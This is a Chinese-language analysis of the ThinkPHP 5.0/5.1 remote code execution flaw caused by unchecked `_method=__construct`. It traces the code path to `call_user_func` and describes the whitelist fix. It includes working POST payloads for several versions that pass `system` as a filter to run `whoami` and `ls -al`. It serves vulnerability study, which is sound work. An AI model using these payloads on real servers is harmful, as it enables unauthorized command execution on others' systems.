ThinkPHP5漏洞分析之代码执行(十)

本系列文章将针对 ThinkPHP 的历史漏洞进行分析，今后爆出的所有 ThinkPHP 漏洞分析，也将更新于 ThinkPHP-Vuln 项目上。本篇文章，将分析 ThinkPHP 中存在的 远程代码执行 漏洞。

漏洞概要

本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验，导致在未开启强制路由的情况下，用户可以调用任意类的任意方法，最终导致 远程代码执行漏洞 的产生。漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30。不同版本 payload 需稍作调整（以下payload未全测试，部分来自网络）：

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞环境

通过官网下载 ThinkPHP 5.0.23 完整版代码，搭建好后，发送如下数据包，即可触发 远程代码执行漏洞 。

漏洞分析

首先在官方发布的 5.0.24 版本更新说明中，发现其中提到该版本包含了一个安全更新。

我们可以查阅其 commit 记录，发现其改进了。接下来，我们直接跟进代码一探究竟。

这次我们不再直接跟着 payload 进行漏洞分析，而是通过官方的些许描述和 github commit 记录，来还原漏洞。从官方的修复代码中，我们可以很明显的看出 $method 来自可控的 $_POST 数组，而且在获取之后没有进行任何检查，直接把它作为 Request 类的方法进行调用，同时，该方法传入的参数是可控数据 $_POST 。也就相当于可以随意调用 Request 类的部分方法。

同时，我们观察到 Request 类的 __construct 方法中存在类属性覆盖的功能，这对我们之后的利用非常有利， Request 类的所有属性如下：

protected $get                  protected static $instance;
protected $post                 protected $method;
protected $request              protected $domain;
protected $route                protected $url;
protected $put;                 protected $baseUrl;
protected $session              protected $baseFile;
protected $file                 protected $root;
protected $cookie               protected $pathinfo;
protected $server               protected $path;
protected $header               protected $routeInfo 
protected $mimeType             protected $env;
protected $content;             protected $dispatch 
protected $filter;              protected $module;
protected static $hook          protected $controller;
protected $bind                 protected $action;
protected $input;               protected $langset;
protected $cache;               protected $param   
protected $isCheckCache;

我们继续跟进程序，会发现如果框架在配置文件中开启了 debug 模式（ 'app_debug'=> true ），程序会调用 Request 类的 param 方法。这个方法我们需要特别关注了，因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法，而该方法中就存在可利用的 call_user_func 函数。

我们跟进 param 方法。发现其调用 method 方法（上图 第16行 ）。其会调用 server 方法，而在 server 方法中把 $this->server 传入了 input 方法。这个 $this->server 的值，我们可以通过先前 Request 类的 __construct 方法来覆盖赋值。也就是说，可控数据作为 $data 传入 input 方法，然后 $data 会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter 的值部分来自 $this->filter ，又是可以通过先前 Request 类的 __construct 方法来覆盖赋值。

接下来就是我们很熟悉的 filterValue 方法调用 call_user_func 处理数据的过程，代码执行也就是发生在这里。

上面我们讲的是开启框架调试模式下，触发 远程代码执行 漏洞，接下来我们再来看看如果没有开启框架调试模式，是否可以利用该漏洞。在 run 方法中，会执行一个 exec 方法，当该方法中的 $dispatch[‘type’] 等于 controller 或者 method 时，又会调用 Request 类的 param 方法。

跟进 Request 类的 param 方法，我们发现其后面的调用过程又会和先前的分析一样了，这里不再赘述。

现在我们还要解决一个问题，就是如何让 $dispatch[‘type’] 等于 controller 或者 method 。通过跟踪代码，我们发现 $dispatch[‘type’] 来源于 parseRule 方法中的 $result 变量，而 $result 变量又与 $route 变量有关系。这个 $route 变量取决于程序中定义的路由地址方式。

ThinkPHP5 中支持 5种路由地址方式定义：

定义方式	定义格式
方式1：路由到模块/控制器	‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2：路由到重定向地址	‘外部地址’（默认301重定向）或者 [‘外部地址’,’重定向代码’]
方式3：路由到控制器的方法	‘@[模块/控制器/]操作’
方式4：路由到类的方法	‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’
方式5：路由到闭包函数	闭包函数定义（支持参数传入）

而在 ThinkPHP5 完整版中，定义了验证码类的路由地址。程序在初始化时，会通过自动类加载机制，将 vendor 目录下的文件加载，这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址，使得 $dispatch[‘type’] 等于 method ，从而完成 远程代码执行 漏洞。

所以最终的 payload 类似下面这样：

POST /index.php?s=captcha HTTP/1.1
    ⋮
Content-Length: 59

_method=__construct&filter[]=system&method=get&get[]=ls+-al
# 或者
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞修复

官方的修复方法是：对请求方法 $method 进行白名单校验。

攻击总结

最后，再通过一张攻击流程图来回顾整个攻击过程。

参考

ThinkPHP 5.x RCE 漏洞分析与利用总结